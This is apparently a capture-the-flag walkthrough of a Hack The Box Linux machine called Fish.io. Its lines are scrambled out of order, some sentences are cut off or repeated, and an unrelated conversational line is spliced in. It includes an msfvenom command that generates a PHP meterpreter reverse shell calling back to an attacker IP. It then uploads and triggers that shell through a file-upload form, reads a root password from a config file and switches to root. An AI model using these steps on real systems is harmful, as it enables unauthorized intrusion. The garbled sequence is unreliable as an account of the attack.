msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw > shell.php Uploading the shell to the server via the "Upload File" feature, we can then trigger the execution of the shell by accessing the uploaded file:
You're interested in writing about Hack The Box's Fish.io, I presume?
cat ~fish/config The file contains a password for the root user. We can now switch to the root user and gain full access to the system:
http://10.10.10.15 The webpage appears to be a simple website with a " Contact Us" form. However, upon inspecting the page source, we notice a peculiar comment: hack fish.io
Next, we visit the HTTP service running on port 80:
<!-- TODO: move to prod env --> This hint suggests that the website might be running in a non-production environment. We can try to access the /admin directory, which often contains administrative interfaces:
To begin, we need to gather information about the target machine. Using the nmap command, we can perform an initial scan to identify open ports and services: msfvenom -p php/meterpreter/reverse_tcp LHOST=10
We create a PHP reverse shell using a tool like msfvenom :
Hack The Box is a popular online platform that offers a variety of virtual machines (VMs) for cybersecurity enthusiasts to practice their hacking skills. One of the boxes available on the platform is Fish.io, a Linux-based VM that simulates a real-world hacking scenario. In this walkthrough, we'll explore the steps to compromise the Fish.io box and gain root access.
su root
sudo -l We can leverage this configuration to gain root access:
nmap -sV -p- 10.10.10.15 The scan reveals that ports 22 (SSH), 80 (HTTP), and 8080 (HTTP) are open. We can now focus on exploring these services further.
http://10.10.10.15/uploads/shell.php A meterpreter shell opens, allowing us to navigate the file system and escalate privileges. However, upon inspecting the page source, we notice